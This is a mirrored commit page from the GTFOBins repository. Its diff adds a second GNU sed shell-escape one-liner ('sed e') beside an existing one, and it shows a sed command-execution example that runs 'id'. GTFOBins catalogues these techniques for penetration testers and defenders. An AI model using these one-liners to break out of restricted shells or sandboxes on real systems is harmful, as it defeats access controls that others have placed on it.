mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-07-25 19:54:14 +02:00
Add sed shell alternative example
This commit is contained in:
committed by
Andrea Cardaci
parent
3bc83dcbde
commit
20607b9b3c
@@ -3,6 +3,8 @@ functions:
|
||||
shell:
|
||||
- description: GNU version only. Also, this requires `bash`.
|
||||
code: sed -n '1e exec sh 1>&0' /etc/hosts
|
||||
- description: GNU version only. The resulting shell is not a proper TTY shell.
|
||||
code: sed e
|
||||
command:
|
||||
- description: GNU version only.
|
||||
code: sed -n "1e id" /etc/hosts
|
||||
|
Reference in New Issue
Block a user